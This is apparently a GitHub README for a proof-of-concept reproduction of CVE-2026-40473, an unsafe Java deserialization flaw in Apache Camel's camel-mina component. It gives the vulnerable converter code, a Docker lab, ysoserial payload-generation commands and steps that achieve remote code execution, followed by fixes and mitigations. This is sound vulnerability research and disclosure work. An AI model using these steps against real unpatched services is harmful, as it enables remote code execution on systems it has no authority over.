oscerd/CVE-2026-40473

GitHub: oscerd/CVE-2026-40473

该项目复现了 Apache Camel camel-mina 组件中因缺少反序列化过滤器而导致的远程代码执行漏洞(CVE-2026-40473),提供了完整的漏洞验证与利用环境。

Stars: 0 | Forks: 0

# camel-mina MinaConverter.toObjectInput 不安全反序列化复现程序 (CVE-2026-40473) 本项目演示了 Apache Camel 的 `camel-mina` 组件中的一个 **Java 反序列化漏洞**,追踪编号为 **CVE-2026-40473**。`MinaConverter.toObjectInput(IoBuffer)` 类型转换器将接收到的字节包装在原始的 `ObjectInputStream` 中,且没有使用 `ObjectInputFilter`。因此,如果某条路由将 TCP/UDP body 转换为 `ObjectInput` 并调用 `readObject()`,攻击者只需向 MINA 端口发送恶意构造的序列化对象,即可实现**远程代码执行**。 安全通告:https://camel.apache.org/security/CVE-2026-40473.html ## 漏洞概述 | 属性 | 值 | |----------|-------| | **组件** | `camel-mina` | | **受影响类** | `org.apache.camel.component.mina.MinaConverter` (`toObjectInput`) | | **CWE** | CWE-502: Deserialization of Untrusted Data | | **影响** | 通过 TCP/UDP 实现远程代码执行 (RCE) | | **受影响版本** | 3.0.0 至 4.14.6 之前的版本,4.15.0 至 4.18.2 之前的版本,4.19.0 至 4.20.0 之前的版本 | | **已修复版本** | 4.14.6, 4.18.2, 4.20.0 | | **JIRA** | CAMEL-23319 | | **报告者** | Venkatraman Kumar (Securin) | ## 技术细节 `IoBuffer → ObjectInput` 类型转换器将 buffer 包装在原始的 `ObjectInputStream` 中: ``` // MinaConverter.toObjectInput(IoBuffer) - affected version @Converter public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException { InputStream is = buffer.asInputStream(); return new ObjectInputStream(is); // NO ObjectInputFilter } ``` 当 camel-mina TCP/UDP consumer 传递原始字节(例如设置 `allowDefaultCodec=false` 时),并且路由请求转换为 `ObjectInput`(通过 `getBody(ObjectInput.class)`、`@Body ObjectInput` 或 `convertBodyTo(ObjectInput.class)`)时,就会运行此转换器。随后对返回的 stream 调用 `readObject()`,就会执行攻击者提供的字节中的任何 gadget chain。 ## 受害者路由 ``` from("mina:tcp://0.0.0.0:5555?sync=false&allowDefaultCodec=false") .process(exchange -> { ObjectInput oi = exchange.getIn().getBody(ObjectInput.class); // MinaConverter.toObjectInput Object obj = oi.readObject(); // deserialization sink exchange.getMessage().setBody("deserialized: " + obj); }); ``` ## 前置条件 - Java 17+ 和 Maven 3.8+(用于构建 jar) - Docker(用于运行复现程序) - ysoserial(用于生成 payload) ## 复现步骤 ### 步骤 1:构建 jar 并启动容器 ``` mvn clean package -DskipTests docker compose up -d --build ``` ### 步骤 2:生成恶意 payload ``` wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar # 在 JDK 21 上添加 --add-opens 以生成 CommonsCollections gadgets: java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED \ --add-opens java.base/java.lang.reflect=ALL-UNNAMED \ -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64 ``` ### 步骤 3:通过 TCP 将其发送到 MINA 端口 (RCE) ``` curl -X POST http://localhost:8080/exploit/inject \ -H "Content-Type: text/plain" --data-binary @payload.b64 # 捆绑的 helper 打开一个到 mina:5555 的原始 TCP socket 并写入 bytes;victim route # 将它们转换为 ObjectInput 并调用 readObject()。 # -> ">>> RCE proof — /tmp/pwned exists: true" ``` (在此 PoC 中,MINA 端口 5555 是容器内部端口;`/exploit/inject` 辅助脚本会从内部执行原始 TCP 发送。如果要在宿主机使用 `nc` 等原始客户端发送,请暴露 5555 端口。) ### 步骤 4:验证 ``` docker exec cve-2026-40473 ls -la /tmp/pwned ``` ### 清理 ``` docker compose down ``` ## 攻击向量 任何 camel-mina TCP 或 UDP consumer,只要其路由将 body 转换为 `ObjectInput`(无论是直接转换、通过 `@Body ObjectInput`,还是通过 `convertBodyTo(ObjectInput.class)`),都能被任何可以访问到 MINA 端口的人利用。 ## 漏洞利用条件 1. 一个 camel-mina TCP/UDP consumer,且其请求将接收到的字节转换为 `ObjectInput`。 2. **classpath 中存在 gadget 库**(例如 `commons-collections:3.2.1`)。 ## 推荐修复方案 升级至 4.14.6 / 4.18.2 / 4.20.0。该修复在转换器中应用了 `ObjectInputFilter` / 类白名单(与应用于 camel-netty、camel-jms 和 camel-infinispan 的安全加固一致)。 ## 缓解措施 在升级之前: 1. **切勿将不受信任的 MINA body 转换为 `ObjectInput`** / 不要对其进行反序列化。 2. **移除 gadget 库**(升级或移除 commons-collections 3.x)。 3. 限制对 MINA 端口的网络访问,仅允许受信任的对等端访问。 ## 文件 ``` CVE-2026-40473/ ├── pom.xml ├── Dockerfile ├── docker-compose.yml ├── README.md └── src/main/ ├── java/com/example/ │ ├── Application.java │ ├── MinaObjectRoute.java # victim: from(mina:tcp).getBody(ObjectInput).readObject() │ └── ExploitController.java # /inject: sends serialized bytes over TCP to mina:5555 └── resources/ └── application.properties ``` ## 免责声明 本复现程序仅用于**安全研究和授权测试**,针对的是**已公开披露且已修复**的漏洞。未经明确许可,请勿将其用于攻击任何系统。
标签:JS文件枚举, 域名枚举, 请求拦截